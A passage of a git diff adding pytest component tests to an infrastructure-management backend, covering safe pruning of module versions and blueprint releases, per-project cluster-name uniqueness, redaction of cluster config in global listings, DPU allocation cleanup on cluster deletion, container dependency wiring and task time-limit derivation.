ProjectModuleFactory(db, library_module=old) + db.flush() + + result = prune_module_source(db, source.id, keep=1, delete=True) + db.flush() + + assert db.query(ProjectModule).filter(ProjectModule.id == pinned.id).count() == 1 + assert db.query(ModuleLibrary).filter(ModuleLibrary.id == old.id).count() == 1 + assert db.query(ModuleLibrary).filter(ModuleLibrary.id == new.id).count() == 1 + assert [i.action for i in result.items if i.version == "1.0.0"] == ["in_use"] + + def test_delete_removes_a_version_nothing_points_at(self, db): + source = _module_source(db) + old, new = _versions(db, source, "modules/app", ["1.0.0", "2.0.0"]) + db.flush() + + prune_module_source(db, source.id, keep=1, delete=True) + db.flush() + + assert db.query(ModuleLibrary).filter(ModuleLibrary.id == old.id).count() == 0 + assert db.query(ModuleLibrary).filter(ModuleLibrary.id == new.id).count() == 1 + + def test_is_latest_lands_on_the_newest_survivor(self, db): + """Deactivating a superseded version must leave exactly one active latest. + + Note this drives the ordinary case — the oldest is retired. The case + where the NEWEST row is the inactive one is covered separately below; + this test alone does not reach that branch. + """ + source = _module_source(db) + v1, v2, v3 = _versions(db, source, "modules/app", ["1.0.0", "2.0.0", "3.0.0"]) + v3.is_latest = True + db.flush() + + prune_module_source(db, source.id, keep=2) + db.flush() + for row in (v1, v2, v3): + db.refresh(row) + + assert v1.is_active is False, "the superseded version should be hidden" + survivors = [r for r in (v1, v2, v3) if r.is_active] + latest = [r for r in survivors if r.is_latest] + assert len(latest) == 1, f"exactly one active latest, got {len(latest)}" + assert latest[0].id == v3.id + assert v1.is_latest is False + + def test_prune_never_leaves_a_path_with_no_active_version(self, db): + """The newest row being inactive must not cost the path its last active one. + + Reachable without an operator touching anything: module_sync_service + clears is_active on a manifest-backed row whose pack path stops + appearing upstream — a rename is enough. That row still sorts newest, so + it takes the kept slot, and a keep=1 prune would deactivate the last + ACTIVE version underneath it. The module then has no active version and + no is_latest, vanishes from the default catalog view, and there is no + un-prune to walk it back. + """ + source = _module_source(db) + v1, v2 = _versions(db, source, "modules/app", ["1.0.0", "2.0.0"]) + v2.is_latest = True + # is_latest defaults to True on the column, so the flag has to be forced + # OFF here — otherwise the assertions below pass on the default and would + # hold even with recompute_is_latest deleted from the service. + v1.is_latest = False + # Exactly what sync does on an upstream rename. + v2.is_active = False + db.flush() + + result = prune_module_source(db, source.id, keep=1) + db.flush() + db.refresh(v1) + db.refresh(v2) + + active = [r for r in (v1, v2) if r.is_active] + assert active, "the path must keep at least one active version" + assert active[0].id == v1.id, "the newest ACTIVE version is the one spared" + assert v1.is_latest is True, "the spared row must be handed the flag" + assert v2.is_latest is False, "the inactive row must not keep it" + assert sum(1 for r in (v1, v2) if r.is_latest) == 1 + spared = [i for i in result.items if i.version == "1.0.0"] + assert spared and spared[0].action == "kept", spared + assert "last active version" in spared[0].reason + + def test_a_group_that_still_has_an_active_version_is_pruned_normally(self, db): + """The spare must not fire when something else already survives.""" + source = _module_source(db) + v1, v2 = _versions(db, source, "modules/app", ["1.0.0", "2.0.0"]) + db.flush() + + prune_module_source(db, source.id, keep=1) + db.flush() + db.refresh(v1) + db.refresh(v2) + + assert v2.is_active is True + assert v1.is_active is False, "the superseded version is still retired" + + def test_pre_delete_assertion_refuses_a_referenced_row(self, db): + """Belt and braces: the pre-delete assertion, not the loop's check. + + Nothing in normal operation reaches this, which is the point — if the + loop's count is ever wrong the database will not save us, so the service + raises instead of letting the cascade run. + """ + from services import catalog_prune_service as svc + + source = _module_source(db) + row = ModuleLibraryFactory(db, path="modules/app", version="1.0.0", + module_source_id=source.id) + ProjectModuleFactory(db, library_module=row) + db.flush() + + with pytest.raises(InternalError, match="Refusing to delete module version"): + svc._assert_no_project_modules(db, row) + + +@pytest.mark.component +class TestBlueprintPruneAgainstTheDatabase: + def _releases(self, db, source, blueprint_id, versions): + return [_release(db, source, blueprint_id, v) for v in versions] + + def test_delete_never_strips_a_stacks_provenance(self, db): + """That FK is ON DELETE SET NULL, so the delete would quietly succeed.""" + source = _blueprint_source(db) + old, new = self._releases(db, source, "bp/app", ["1.0.0", "2.0.0"]) + stack = StackInstanceFactory(db, blueprint_release_id=old.id) + db.flush() + + result = prune_blueprint_source(db, source.id, keep=1, delete=True) + db.flush() + db.refresh(stack) + + assert stack.blueprint_release_id == old.id, "provenance must survive" + assert db.query(BlueprintRelease).filter(BlueprintRelease.id == old.id).count() == 1 + assert [i.action for i in result.items if i.version == "1.0.0"] == ["in_use"] + assert db.query(StackInstance).filter(StackInstance.id == stack.id).count() == 1 + + def test_delete_removes_a_release_nothing_was_deployed_from(self, db): + source = _blueprint_source(db) + old, new = self._releases(db, source, "bp/app", ["1.0.0", "2.0.0"]) + db.flush() + + prune_blueprint_source(db, source.id, keep=1, delete=True) + db.flush() + + assert db.query(BlueprintRelease).filter(BlueprintRelease.id == old.id).count() == 0 + assert db.query(BlueprintRelease).filter(BlueprintRelease.id == new.id).count() == 1 + + def test_pre_delete_assertion_refuses_a_deployed_release(self, db): + from services import catalog_prune_service as svc + + source = _blueprint_source(db) + (rel,) = self._releases(db, source, "bp/app", ["1.0.0"]) + StackInstanceFactory(db, blueprint_release_id=rel.id) + db.flush() + + with pytest.raises(InternalError, match="Refusing to delete blueprint release"): + svc._assert_no_stack_instances(db, rel) diff --git a/backend/tests/component/test_cluster_management_service.py b/backend/tests/component/test_cluster_management_service.py index 04e98e53..30ba53d8 100644 --- a/backend/tests/component/test_cluster_management_service.py +++ b/backend/tests/component/test_cluster_management_service.py @@ -124,6 +124,29 @@ def test_nonexistent_project_raises(self, db): with pytest.raises(NotFoundError): svc.create_cluster(99999, _make_create_data()) + def test_same_name_in_a_different_project_is_allowed(self, db, make_project): + """#113: cluster names are unique per PROJECT, not across the instance. + + A global check let project A's "prod" block project B's "prod" -- and + told B, via the 409, that A had a cluster by that name. Cross-tenant + information leak plus a false collision. Both the app check and the DB + constraint (v2_153) are now scoped to (project_id, name).""" + a, b = make_project(), make_project() + svc = ClusterManagementService(db) + ra = svc.create_cluster(a.id, _make_create_data(name="prod")) + rb = svc.create_cluster(b.id, _make_create_data(name="prod")) # must not raise + assert ra["id"] != rb["id"] + db.commit() # and the DB constraint agrees -- no IntegrityError at commit + + def test_same_project_duplicate_still_rejected_after_scoping(self, db, make_project): + """The scoping must not have loosened the within-project rule, and the + message must not leak anything about other projects.""" + a = make_project() + svc = ClusterManagementService(db) + svc.create_cluster(a.id, _make_create_data(name="prod")) + with pytest.raises(ConflictError, match="in this project"): + svc.create_cluster(a.id, _make_create_data(name="prod")) + def test_kubeconfig_is_encrypted(self, db, make_project): """The stored kubeconfig should be encrypted, not plaintext.""" from models import KubernetesCluster @@ -235,6 +258,33 @@ def test_list_project_clusters_filters(self, db, make_project, make_k8s_cluster) assert result["count"] == 1 assert result["clusters"][0]["name"] == "c1" + def test_global_list_redacts_bnk_config_but_project_list_keeps_it( + self, db, make_project, make_k8s_cluster + ): + """#116: the instance-wide global list must not leak ADR-424 bnk_config + (host/DPU membership, control-plane host, tmfifo pool CIDR) cross-project + to any viewer. The project-scoped list -- whose caller actually renders + it -- must still include it.""" + from models.kubernetes import BnkClusterConfig + + p = make_project() + cluster = make_k8s_cluster(project=p, name="bnk-cluster") + db.add(BnkClusterConfig(cluster_id=cluster.id, tmfifo_pool_cidr="192.168.100.0/22")) + db.commit() + + svc = ClusterManagementService(db) + + global_row = next( + c for c in svc.list_all_clusters()["clusters"] if c["name"] == "bnk-cluster" + ) + assert global_row["bnk_config"] is None, "global list leaked bnk_config (#116)" + + project_row = next( + c for c in svc.list_project_clusters(p.id)["clusters"] if c["name"] == "bnk-cluster" + ) + assert project_row["bnk_config"] is not None, "project-scoped list must keep bnk_config" + assert project_row["bnk_config"]["tmfifo_pool_cidr"] == "192.168.100.0/22" + def test_list_project_clusters_nonexistent_project(self, db): svc = ClusterManagementService(db) with pytest.raises(NotFoundError): @@ -273,6 +323,57 @@ def test_detail_includes_platform_context(self, db, make_project, make_k8s_clust assert "platform_capabilities" in result assert "platform_constraints" in result + def test_detail_exposes_running_release_id(self, db, make_project, make_k8s_cluster): + """get_cluster_details serializes running_release_id (ADR-494 Phase B read path).""" + from models.bnk_release import BnkRelease + from models.enums import ReleaseSourceType + + p = make_project() + rel = BnkRelease( + ga_label="BNK 2.3 GA", product_line="BNK", + flo_version_prefix="2.21", source_type=ReleaseSourceType.CLOUDDOCS, is_active=True, + ) + db.add(rel) + db.flush() + + c = make_k8s_cluster(project=p, name="rel-cluster", running_release_id=rel.id) + svc = ClusterManagementService(db) + result = svc.get_cluster_details(c.id) + + assert result["running_release_id"] == rel.id + assert result["deployable_release_id"] is None # not set on this cluster + + def test_detail_running_release_id_null_when_not_set(self, db, make_project, make_k8s_cluster): + """get_cluster_details returns running_release_id=None for undiscovered clusters.""" + p = make_project() + c = make_k8s_cluster(project=p, name="no-rel-cluster") + svc = ClusterManagementService(db) + result = svc.get_cluster_details(c.id) + + assert result["running_release_id"] is None + assert result["deployable_release_id"] is None + + def test_list_all_clusters_exposes_running_release_id(self, db, make_project, make_k8s_cluster): + """list_all_clusters (serialize_cluster) serializes running_release_id.""" + from models.bnk_release import BnkRelease + from models.enums import ReleaseSourceType + + p = make_project() + rel = BnkRelease( + ga_label="BNK 2.3 GA", product_line="BNK", + flo_version_prefix="2.21", source_type=ReleaseSourceType.CLOUDDOCS, is_active=True, + ) + db.add(rel) + db.flush() + + make_k8s_cluster(project=p, name="list-rel-cluster", running_release_id=rel.id) + svc = ClusterManagementService(db) + result = svc.list_all_clusters() + + cluster_dict = result["clusters"][0] + assert cluster_dict["running_release_id"] == rel.id + assert cluster_dict["deployable_release_id"] is None + # --------------------------------------------------------------------------- # update_cluster @@ -296,6 +397,19 @@ def test_update_duplicate_name_raises(self, db, make_project, make_k8s_cluster): with pytest.raises(ConflictError): svc.update_cluster(c2.id, _make_update_data(name="existing")) + def test_update_may_take_a_name_used_by_another_project(self, db, make_project, make_k8s_cluster): + """#113: renaming to a name that only ANOTHER project uses must succeed -- + the old global check would have 409'd and disclosed the other project's + cluster name.""" + a, b = make_project(), make_project() + make_k8s_cluster(project=a, name="prod") + mine = make_k8s_cluster(project=b, name="staging") + svc = ClusterManagementService(db) + svc.update_cluster(mine.id, _make_update_data(name="prod")) # must not raise + db.refresh(mine) + assert mine.name == "prod" + db.commit() + def test_update_kubeconfig_encrypts(self, db, make_project, make_k8s_cluster): from models import KubernetesCluster p = make_project() @@ -389,6 +503,119 @@ def test_delete_nonexistent_raises(self, db): with pytest.raises(NotFoundError): svc.delete_cluster(99999) + def test_delete_releases_dpu_tmfifo_allocations(self, db, make_project, make_k8s_cluster): + """Deleting a cluster must clear tmfifo IPs on all member DPUs (ADR-424 cold audit A1). + + Flow: assign DPU to cluster (gets a /30) → delete_cluster → + assert dpu_tmfifo_ip is None AND derive_tmfifo_dpu_ip returns the formula. + Without the fix, dpu_tmfifo_ip survives and a re-flash bakes the stale /30. + """ + from models.bare_metal import BareMetalHost + from models.dpu import Dpu + from services.bf_conf_renderer import derive_tmfifo_dpu_ip + from services.bnk_cluster_service import BnkClusterService + + p = make_project() + c = make_k8s_cluster(project=p, name="del-ipam") + + host = BareMetalHost(project_id=p.id, name="h-del", host_ip="10.200.0.1") + db.add(host) + db.flush() + + dpu = Dpu( + project_id=p.id, + name="dpu-del", + access_mode="in-band", + host_node_ip="10.200.0.1", + rshim_device="rshim0", + oob0_ipv4="dhcp", + ) + db.add(dpu) + db.flush() + + # Assign DPU to cluster — triggers tmfifo IPAM allocation. + BnkClusterService(db).assign_members( + cluster_id=c.id, + control_plane_host_id=host.id, + host_ids=[host.id], + dpu_ids=[dpu.id], + ) + db.flush() + + # Verify allocation was made. + db.expire_all() + assert dpu.dpu_tmfifo_ip is not None, "DPU must have a tmfifo IP after assign_members" + stale_ip = dpu.dpu_tmfifo_ip + + # Delete the cluster. + ClusterManagementService(db).delete_cluster(c.id) + db.flush() + + # Allocation must be released. + db.expire_all() + assert dpu.dpu_tmfifo_ip is None, ( + f"dpu_tmfifo_ip={stale_ip!r} was not cleared on cluster delete" + ) + assert dpu.host_tmfifo_ip is None, "host_tmfifo_ip must be cleared on cluster delete" + assert dpu.kubernetes_cluster_id is None + + # derive_tmfifo_dpu_ip must fall back to the rshim formula, not the stale IP. + formula_ip = derive_tmfifo_dpu_ip("rshim0", dpu=dpu) + assert formula_ip == "192.168.100.2/30", ( + f"Expected formula IP 192.168.100.2/30, got {formula_ip!r}" + ) + + def test_delete_cluster_clears_is_control_plane(self, db, make_project, make_k8s_cluster): + """Deleting a cluster must clear is_control_plane on the former CP host (ADR-424 W-2). + + Flow: assign host as control_plane_host_id → assert is_control_plane=True → + delete_cluster → assert is_control_plane=False AND kubernetes_cluster_id=None. + Without the fix, is_control_plane survives as True after the cluster is gone. + """ + from models.bare_metal import BareMetalHost + from models.dpu import Dpu + from services.bnk_cluster_service import BnkClusterService + + p = make_project() + c = make_k8s_cluster(project=p, name="del-cp-flag") + + host = BareMetalHost(project_id=p.id, name="h-cp", host_ip="10.201.0.1") + db.add(host) + db.flush() + + dpu = Dpu( + project_id=p.id, + name="dpu-cp", + access_mode="in-band", + host_node_ip="10.201.0.1", + rshim_device="rshim0", + oob0_ipv4="dhcp", + ) + db.add(dpu) + db.flush() + + BnkClusterService(db).assign_members( + cluster_id=c.id, + control_plane_host_id=host.id, + host_ids=[host.id], + dpu_ids=[dpu.id], + ) + db.flush() + db.expire_all() + + assert host.is_control_plane is True, "assign_members must set is_control_plane=True" + + ClusterManagementService(db).delete_cluster(c.id) + db.flush() + db.expire_all() + + assert host.is_control_plane is False, ( + "is_control_plane must be cleared to False after cluster delete" + ) + assert host.kubernetes_cluster_id is None, ( + "kubernetes_cluster_id must be NULL after cluster delete" + ) + # --------------------------------------------------------------------------- # detect_eks_clusters diff --git a/backend/tests/component/test_config_export_service.py b/backend/tests/component/test_config_export_service.py index b2952423..26565b71 100644 --- a/backend/tests/component/test_config_export_service.py +++ b/backend/tests/component/test_config_export_service.py @@ -9,10 +9,12 @@ import pytest import yaml +from kubernetes.client.rest import ApiException from services.config_export_service import ( _clean_resource, _flatten_resources, + apply_resources, config_to_yaml, diff_configs, export_cluster_config, @@ -199,3 +201,78 @@ def test_export_includes_project_modules(self, mock_k8s, mock_k8s_svc, mock_fetc assert "modules/vpc" in result["module_config"] assert result["module_config"]["modules/vpc"]["variables"] == {"cidr": "10.0.0.0/16"} + + +# --------------------------------------------------------------------------- +# apply_resources — extracted from the /bnk/import route (D-034 P0 seam) +# --------------------------------------------------------------------------- + + +class TestApplyResources: + """Shared server-side-apply write path — used by both /bnk/import and use-case apply.""" + + def _gateway(self, name="gw1", namespace="ns1"): + return { + "kind": "Gateway", + "apiVersion": "gateway.networking.k8s.io/v1", + "metadata": {"name": name, "namespace": namespace}, + "spec": {}, + } + + def test_applies_namespaced_resource(self, db): + custom_api = MagicMock() + resources = {"gateway_api": [self._gateway()]} + + results = apply_resources(db, 1, custom_api, resources) + + assert results["applied"] == [{"kind": "Gateway", "name": "gw1", "namespace": "ns1"}] + assert results["failed"] == [] + assert results["skipped"] == [] + custom_api.patch_namespaced_custom_object.assert_called_once_with( + group="gateway.networking.k8s.io", version="v1", namespace="ns1", + plural="gateways", name="gw1", body=self._gateway(), + field_manager="bnk-forge", force=True, + ) + + def test_applies_cluster_scoped_resource(self, db): + custom_api = MagicMock() + resource = self._gateway(namespace="") + resource["metadata"].pop("namespace") + resources = {"gateway_api": [resource]} + + results = apply_resources(db, 1, custom_api, resources) + + assert results["applied"] == [{"kind": "Gateway", "name": "gw1", "namespace": ""}] + custom_api.patch_cluster_custom_object.assert_called_once() + + def test_core_api_resource_skipped(self, db): + custom_api = MagicMock() + resources = {"core": [{"kind": "ConfigMap", "apiVersion": "v1", "metadata": {"name": "cm1"}}]} + + results = apply_resources(db, 1, custom_api, resources) + + assert results["skipped"] == [{ + "kind": "ConfigMap", "name": "cm1", "namespace": "", + "reason": "Core API import not supported", + }] + + def test_404_apply_error_is_skipped(self, db): + custom_api = MagicMock() + custom_api.patch_namespaced_custom_object.side_effect = ApiException(status=404, reason="Not Found") + resources = {"gateway_api": [self._gateway()]} + + results = apply_resources(db, 1, custom_api, resources) + + assert len(results["skipped"]) == 1 + assert results["skipped"][0]["reason"] == "CRD not installed: Gateway" + assert results["applied"] == [] + + def test_non_404_apply_error_is_failed(self, db): + custom_api = MagicMock() + custom_api.patch_namespaced_custom_object.side_effect = ApiException(status=500, reason="server error") + resources = {"gateway_api": [self._gateway()]} + + results = apply_resources(db, 1, custom_api, resources) + + assert len(results["failed"]) == 1 + assert results["failed"][0]["error"] == "server error" diff --git a/backend/tests/component/test_container_cluster_registration.py b/backend/tests/component/test_container_cluster_registration.py index 575531fb..d4a42c1b 100644 --- a/backend/tests/component/test_container_cluster_registration.py +++ b/backend/tests/component/test_container_cluster_registration.py @@ -83,6 +83,70 @@ def test_idempotent_update_not_duplicate(self, db): assert second.api_server == "https://new:30000" assert db.query(KubernetesCluster).filter(KubernetesCluster.name == "roks-e2e").count() == 1 + def test_same_name_from_a_different_module_does_not_clobber(self, db): + """#79 item 7: two modules in one project surfacing the same cluster_name. + + The lookup keys on (name, project); unregister keys on source_module_id. + B used to overwrite A's row, and A's destroy could then no longer find + it. B must be refused; A's row and A's destroy path must be intact. + """ + from tests.factories import ProjectModuleFactory + + module_a = _ibm_cluster_module(db, outputs={ + "cluster_name": "roks-e2e", + "master_url": "https://a:30000", + "kubeconfig": PORTABLE_KUBECONFIG, + }) + row_a = maybe_register_container_cluster(db, module_a) + assert row_a is not None + + # Module B in the SAME project, same cluster_name, different endpoint. + module_b = ProjectModuleFactory(db, project=module_a.project, status="applied") + module_b.outputs = { + "cluster_name": "roks-e2e", + "master_url": "https://b:30000", + "kubeconfig": PORTABLE_KUBECONFIG, + } + db.flush() + + assert maybe_register_container_cluster(db, module_b) is None + + db.refresh(row_a) + assert row_a.api_server == "https://a:30000", "B clobbered A's endpoint" + assert (row_a.meta_data or {}).get("source_module_id") == module_a.id + assert db.query(KubernetesCluster).filter(KubernetesCluster.name == "roks-e2e").count() == 1 + # And A can still clean up after itself. + assert maybe_unregister_container_cluster(db, module_a) is True + assert db.query(KubernetesCluster).count() == 0 + + def test_hand_registered_row_is_refreshed_but_not_claimed(self, db): + """A row with no source_module_id is hand-registered (or pre-dates + ownership). Its kubeconfig may be refreshed -- the pre-existing + behaviour -- but it must NOT be adopted, or destroying the module + would delete the operator's cluster, which unregister's + source_module_id keying exists to prevent.""" + module = _ibm_cluster_module(db, outputs={ + "cluster_name": "roks-e2e", + "master_url": "https://new:30000", + "kubeconfig": PORTABLE_KUBECONFIG, + }) + hand = KubernetesCluster( + name="roks-e2e", context="roks-e2e", api_server="https://old:30000", + status="active", project_id=module.project_id, + kubeconfig_encrypted="x", default_namespace="default", meta_data=None, + ) + db.add(hand) + db.flush() + + refreshed = maybe_register_container_cluster(db, module) + assert refreshed is not None and refreshed.id == hand.id + assert refreshed.api_server == "https://new:30000" # refreshed + assert (refreshed.meta_data or {}).get("source_module_id") is None # not claimed + + # Destroying the module must leave the hand-registered cluster alone. + assert maybe_unregister_container_cluster(db, module) is False + assert db.query(KubernetesCluster).count() == 1 + def test_no_kubeconfig_surfaced_skips(self, db): # roksbnkctl's pre-fix outputs: cluster_id present but no kubeconfig → skip. module = _ibm_cluster_module(db, outputs={ diff --git a/backend/tests/component/test_container_dependency_wiring.py b/backend/tests/component/test_container_dependency_wiring.py new file mode 100644 index 00000000..dcce1c78 --- /dev/null +++ b/backend/tests/component/test_container_dependency_wiring.py @@ -0,0 +1,212 @@ +"""Regression tests: the container path must actually apply dependency wiring. + +A pack can declare an input as coming from another module's output +(``source: "module"``). That resolution lived inline in ``build_variables``, so +only the engines routed through it honoured the declaration; the container engine +assembles its own inputs and silently ignored it, leaving the step to fail from +inside the image on an input nobody had supplied. + +These drive the real ``_build_engine_and_ctx`` rather than the extracted function +on its own. Asserting the function in isolation does not hold the fix in place — +the wiring call can be deleted from ``_build_engine_and_ctx`` and unit tests that +re-implement the merge in the test body stay green. What matters is that the +context the engine actually receives carries the resolved value. + +The dependency *lookup* is stubbed; resolving a module by path is covered by the +unit tests. What is under test here is the plumbing. +""" + +from __future__ import annotations + +from unittest.mock import MagicMock, patch + +import pytest + +from tests.factories import ModuleLibraryFactory, ProjectModuleFactory + +# A pack input wired from another module's output. +_WIRED_INPUT = { + "name": "registry_generic_host", + "source": "module", + "from_module": "harbor", + "from_output": "registry_host", +} + + +def _container_module(db, *, inputs_metadata, variables=None): + lib = ModuleLibraryFactory( + db, + category="container", + module_source_kind="artifact", + execution_engine="container", + inputs_metadata=inputs_metadata, + ) + return ProjectModuleFactory(db, library_module=lib, variables=variables or {}) + + +def _build(db, module, *, dependency=None, operation="apply", fallback=None): + """Drive _build_engine_and_ctx with its I/O collaborators mocked.""" + from tasks import container_tasks + + wm = MagicMock() + wm.artifact_workspace_key.return_value = "bp-1" + wm.ensure_artifact_workspace.return_value = "/app/workspaces/1/bp-1" + wm.artifact_workspace_host_path.return_value = "/host/1/bp-1" + wm.artifact_workspace_volume.return_value = "bnk-forge_workspace_data" + wm.artifact_workspace_subpath.return_value = "1/bp-1" + + with ( + patch.object( + container_tasks, "_artifact_manifest", return_value={"state": {"scope": "deployment"}} + ), + patch.object(container_tasks, "_registry_host", return_value="ghcr.io"), + patch.object(container_tasks, "_resolve_runner", return_value=MagicMock()), + patch("services.workspace_manager.WorkspaceManager", return_value=wm), + patch( + "services.execution.container_run_secrets.resolve_pull_authfile_for_module", + return_value=None, + ), + patch( + "services.execution.variable_assembler.find_dependency_by_path", + return_value=dependency, + ) as lookup, + patch( + "services.execution.variable_assembler._resolve_from_dependency_outputs", + return_value=fallback, + ), + ): + engine, ctx = container_tasks._build_engine_and_ctx( + db, module, operation=operation + ) + return engine, ctx, lookup + + +def _dependency_with(outputs): + dep = MagicMock() + dep.outputs = outputs + return dep + + +@pytest.mark.component +class TestContainerDependencyWiring: + def test_ctx_carries_the_value_wired_from_a_dependency(self, db): + """The regression: deleting the wiring call must fail this.""" + module = _container_module(db, inputs_metadata={"required": [], "optional": [_WIRED_INPUT]}) + _engine, ctx, _lookup = _build( + db, module, dependency=_dependency_with({"registry_host": "10.243.0.4"}) + ) + assert ctx.variables["registry_generic_host"] == "10.243.0.4" + + def test_operator_value_beats_a_dependency_output(self, db): + """A blueprint that hard-codes a host is not overridden by a dependency.""" + module = _container_module( + db, + inputs_metadata={"required": [], "optional": [_WIRED_INPUT]}, + variables={"registry_generic_host": "registry.example.com"}, + ) + _engine, ctx, _lookup = _build( + db, module, dependency=_dependency_with({"registry_host": "10.243.0.4"}) + ) + assert ctx.variables["registry_generic_host"] == "registry.example.com" + + def test_absent_required_dependency_is_tolerated_when_the_value_is_supplied(self, db): + """The wiring must not be stricter here than in build_variables. + + A pack wiring from a module that does not exist in this deployment + (infra/aws/vpc on bare metal) must not fail the build when the operator + already supplied the value — build_variables' Layer 2.6 seeds exactly + this case so Layer 3 stays quiet, and this path inherits it by seeding + the dict it hands to the wiring. + """ + module = _container_module( + db, + inputs_metadata={ + "required": [{ + "name": "external_subnet_cidrs", + "source": "module", + "from_module": "infra/aws/vpc", + "from_output": "subnet_cidrs", + }], + "optional": [], + }, + variables={"external_subnet_cidrs": ["10.0.0.0/24"]}, + ) + # dependency=None → the module genuinely is not in this deployment. + _engine, ctx, _lookup = _build(db, module, dependency=None) + assert ctx.variables["external_subnet_cidrs"] == ["10.0.0.0/24"] + + def test_absent_required_dependency_still_raises_when_nothing_supplies_it(self, db): + """Seeding must not swallow the genuine failure it is guarding.""" + module = _container_module( + db, + inputs_metadata={ + "required": [{ + "name": "external_subnet_cidrs", + "source": "module", + "from_module": "infra/aws/vpc", + "from_output": "subnet_cidrs", + }], + "optional": [], + }, + ) + with pytest.raises(ValueError, match="Required dependency not available"): + _build(db, module, dependency=None) + + def test_destroy_stays_lenient(self, db): + """A destroy runs after its dependencies may already be torn down.""" + module = _container_module( + db, + inputs_metadata={ + "required": [{ + "name": "external_subnet_cidrs", + "source": "module", + "from_module": "infra/aws/vpc", + "from_output": "subnet_cidrs", + }], + "optional": [], + }, + ) + _engine, ctx, _lookup = _build(db, module, dependency=None, operation="destroy") + assert "external_subnet_cidrs" not in ctx.variables + + def test_stack_instance_id_is_forwarded_to_the_dependency_lookup(self, db): + """Multi-stack disambiguation depends on it reaching the lookup. + + find_dependency_by_path takes stack_instance_id to tell two instances of + the same blueprint apart. The container path passes it through + getattr(module, "stack_instance_id", None); nothing asserted it arrived, + and a factory-built module leaves it None, so the branch was never + reached by any test. + """ + from tests.factories import StackInstanceFactory + + module = _container_module(db, inputs_metadata={"required": [], "optional": [_WIRED_INPUT]}) + instance = StackInstanceFactory(db) # real row: the FK is enforced + module.stack_instance_id = instance.id + db.flush() + + _engine, ctx, lookup = _build( + db, module, dependency=_dependency_with({"registry_host": "10.243.0.4"}) + ) + + assert lookup.called, "the dependency lookup should have run" + assert lookup.call_args.kwargs.get("stack_instance_id") == instance.id + assert ctx.variables["registry_generic_host"] == "10.243.0.4" + + def test_the_fallback_resolves_when_the_declared_path_does_not_match(self, db): + """The Layer-3 fallback is reachable on this path too. + + When the declared from_module matches no module, the wiring falls back to + searching actual dependencies for one publishing that output. That branch + is covered on the build_variables path but was patched to None throughout + these tests, so the container path never exercised it. + """ + module = _container_module(db, inputs_metadata={"required": [], "optional": [_WIRED_INPUT]}) + + _engine, ctx, _lookup = _build( + db, module, + dependency=None, # the declared path matches nothing + fallback="10.9.9.9", # but a real dependency publishes it + ) + + assert ctx.variables["registry_generic_host"] == "10.9.9.9" diff --git a/backend/tests/component/test_container_dispatch.py b/backend/tests/component/test_container_dispatch.py index ea456fbe..af4226ac 100644 --- a/backend/tests/component/test_container_dispatch.py +++ b/backend/tests/component/test_container_dispatch.py @@ -77,14 +77,45 @@ def test_dispatch_apply_derives_time_limit_from_manifest_budget(self, db): def test_dispatch_destroy_routes_to_container_task(self, db): module = _container_module(db) with patch("tasks.container_tasks.run_container_destroy") as task: - task.delay.return_value = MagicMock(id="celery-4") + task.apply_async.return_value = MagicMock(id="celery-4") task_dispatch.dispatch_destroy(104, module) - task.delay.assert_called_once_with(104, module.id) + # No manifest budget → global defaults (no time-limit kwargs). + task.apply_async.assert_called_once_with((104, module.id)) + + def test_dispatch_destroy_derives_time_limit_from_manifest_budget(self, db): + """A destroy can outlive the global limit exactly as an apply can. + + Being hard-killed mid-destroy leaves the module lock for the reclaim + sweep — the same failure the apply path was already protected against + (issue #463 F5). + """ + module = _container_module(db) + module.library_module.pack_manifest = { + "steps": { + "destroy": [ + {"name": "teardown", "timeout_seconds": 3600, + "retry": {"max_attempts": 3, "backoff_seconds": 300}}, + ] + } + } + db.flush() + with patch("tasks.container_tasks.run_container_destroy") as task: + task.apply_async.return_value = MagicMock(id="celery-4b") + task_dispatch.dispatch_destroy(104, module) + + kwargs = task.apply_async.call_args.kwargs + assert kwargs.get("time_limit", 0) > 7500, ( + "destroy budget exceeding the global limit did not raise this task's " + "limit — a long teardown is hard-killed mid-run (#463 F5)" + ) + assert kwargs["soft_time_limit"] < kwargs["time_limit"] def test_apply_signature_routes_to_container_task(self, db): module = _container_module(db) with patch("tasks.container_tasks.run_container_apply") as task: - task.s.return_value = "sig-apply" + signature = MagicMock() + signature.set.return_value = "sig-apply" + task.s.return_value = signature sig = task_dispatch.dispatch_apply_signature(105, module) assert sig == "sig-apply" task.s.assert_called_once_with(105, module.id) @@ -92,7 +123,156 @@ def test_apply_signature_routes_to_container_task(self, db): def test_destroy_signature_routes_to_container_task(self, db): module = _container_module(db) with patch("tasks.container_tasks.run_container_destroy") as task: - task.s.return_value = "sig-destroy" + signature = MagicMock() + signature.set.return_value = "sig-destroy" + task.s.return_value = signature sig = task_dispatch.dispatch_destroy_signature(106, module) assert sig == "sig-destroy" task.s.assert_called_once_with(106, module.id) + + +@pytest.mark.component +class TestTimeLimitDerivationReadsCanonicalSteps: + """#127: the time-limit derivation must read the SAME step-set the engine runs. + + `_derive_container_time_limits` read ``manifest["steps"]`` directly, while + the engine and the validator resolve lifecycle steps through + ``canonical_step_sets`` (which prefers ``execution.steps``, canonical since + #123). An ``execution.steps`` manifest therefore derived an empty budget and + silently fell back to the global 7500 s limit -- so the long cluster build + this derivation exists to protect was hard-killed mid-run anyway. The + failure was silent: no error, just the wrong ceiling. + """ + + # Identical steps, declared in each of the two supported locations. + _STEPS = [ + {"name": "init", "timeout_seconds": 300}, + {"name": "cluster-up", "timeout_seconds": 3600, + "retry": {"max_attempts": 3, "backoff_seconds": 300}}, + ] + + def _module(self, db, manifest): + module = _container_module(db) + module.library_module.pack_manifest = manifest + return module + + def test_execution_steps_derive_the_same_budget_as_top_level_steps(self, db): + """The issue's exact reproduction: both locations must yield one answer.""" + top = self._module(db, {"steps": {"apply": self._STEPS}}) + canonical = self._module(db, {"execution": {"steps": {"apply": self._STEPS}}}) + + from_top = task_dispatch._derive_container_time_limits(top, "apply") + from_canonical = task_dispatch._derive_container_time_limits(canonical, "apply") + + assert from_top, "sanity: the top-level shape must derive a budget" + assert from_canonical == from_top, ( + "execution.steps derived a different ceiling than top-level steps -- " + "the canonical location silently fell back to the global limit (#127)" + ) + assert from_canonical["time_limit"] > 7500 + + def test_derivation_and_engine_resolve_the_same_steps(self, db): + """Mirror of #123's engine/validator agreement test, for the derivation. + + The engine runs canonical_step_sets(manifest)[phase]. Whatever budget + the derivation computes must come from exactly those steps. + """ + from services.module_metadata import canonical_step_sets + + # Give BOTH phases a budget over the global limit. A sub-limit phase + # derives {} on every code path, so comparing {} == {} would pass + # vacuously and assert nothing about which step-set was read. + manifest = {"execution": {"steps": { + "apply": self._STEPS, + 